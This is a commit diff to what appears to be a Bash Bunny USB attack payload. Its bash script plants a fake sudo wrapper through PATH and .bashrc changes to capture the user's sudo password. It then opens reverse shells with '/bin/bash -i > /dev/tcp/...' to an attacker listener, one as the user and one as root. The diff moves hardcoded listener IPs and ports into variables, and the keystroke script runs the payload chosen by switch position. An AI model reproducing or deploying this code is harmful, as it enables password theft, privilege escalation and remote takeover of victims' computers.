Minor update
parent
faa24a329d
commit
32e41527fb
|
@ -1,5 +1,9 @@
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
|
LISTENER_IP="127.0.0.1"
|
||||||
|
LISTENER1_PORT="1337" #Listener for user shell
|
||||||
|
LISTENER2_PORT="9001" #Listener for root shell
|
||||||
|
|
||||||
if [ ! -d ~/.config/sudo ]
|
if [ ! -d ~/.config/sudo ]
|
||||||
then
|
then
|
||||||
mkdir -p ~/.config/sudo
|
mkdir -p ~/.config/sudo
|
||||||
|
@ -37,7 +41,7 @@ else
|
||||||
mv ~/.bashrc.bak ~/.bashrc
|
mv ~/.bashrc.bak ~/.bashrc
|
||||||
fi
|
fi
|
||||||
rm ~/.config/sudo/sudo
|
rm ~/.config/sudo/sudo
|
||||||
echo "$pwd" | sudo -S disown !$ $(sudo /bin/bash -i > /dev/tcp/192.168.0.118/1337 0<&1 2>&1) &
|
echo "$pwd" | sudo -S disown !$ $(sudo /bin/bash -i > /dev/tcp/$LISTENER_IP/$LISTENER1_PORT 0<&1 2>&1) &
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
EOF
|
EOF
|
||||||
|
@ -51,5 +55,5 @@ else
|
||||||
cp ~/.bashrc ~/.bashrc.bak
|
cp ~/.bashrc ~/.bashrc.bak
|
||||||
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc
|
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc
|
||||||
fi
|
fi
|
||||||
disown !$ $(/bin/bash -i > /dev/tcp/192.168.0.118/4444 0<&1 2>&1) &
|
disown !$ $(/bin/bash -i > /dev/tcp/$LISTENER_IP/$LISTENER2_PORT 0<&1 2>&1) &
|
||||||
bash
|
bash
|
||||||
|
|
|
@ -36,7 +36,8 @@ Q DELAY 1000
|
||||||
Q CTRL C
|
Q CTRL C
|
||||||
|
|
||||||
# Executing bash script which is same for mac and linux
|
# Executing bash script which is same for mac and linux
|
||||||
Q STRING bash /Volumes/BashBunny/payloads/switch1/payload.sh
|
GET SWITCH_POSITION
|
||||||
|
Q STRING bash /Volumes/BashBunny/payloads/$SWITCH_POSITION/payload.sh
|
||||||
|
|
||||||
# The cleanup process will done by bash script
|
# The cleanup process will done by bash script
|
||||||
# Closing the xterm in linux
|
# Closing the xterm in linux
|
||||||
|
|
Loading…
Reference in New Issue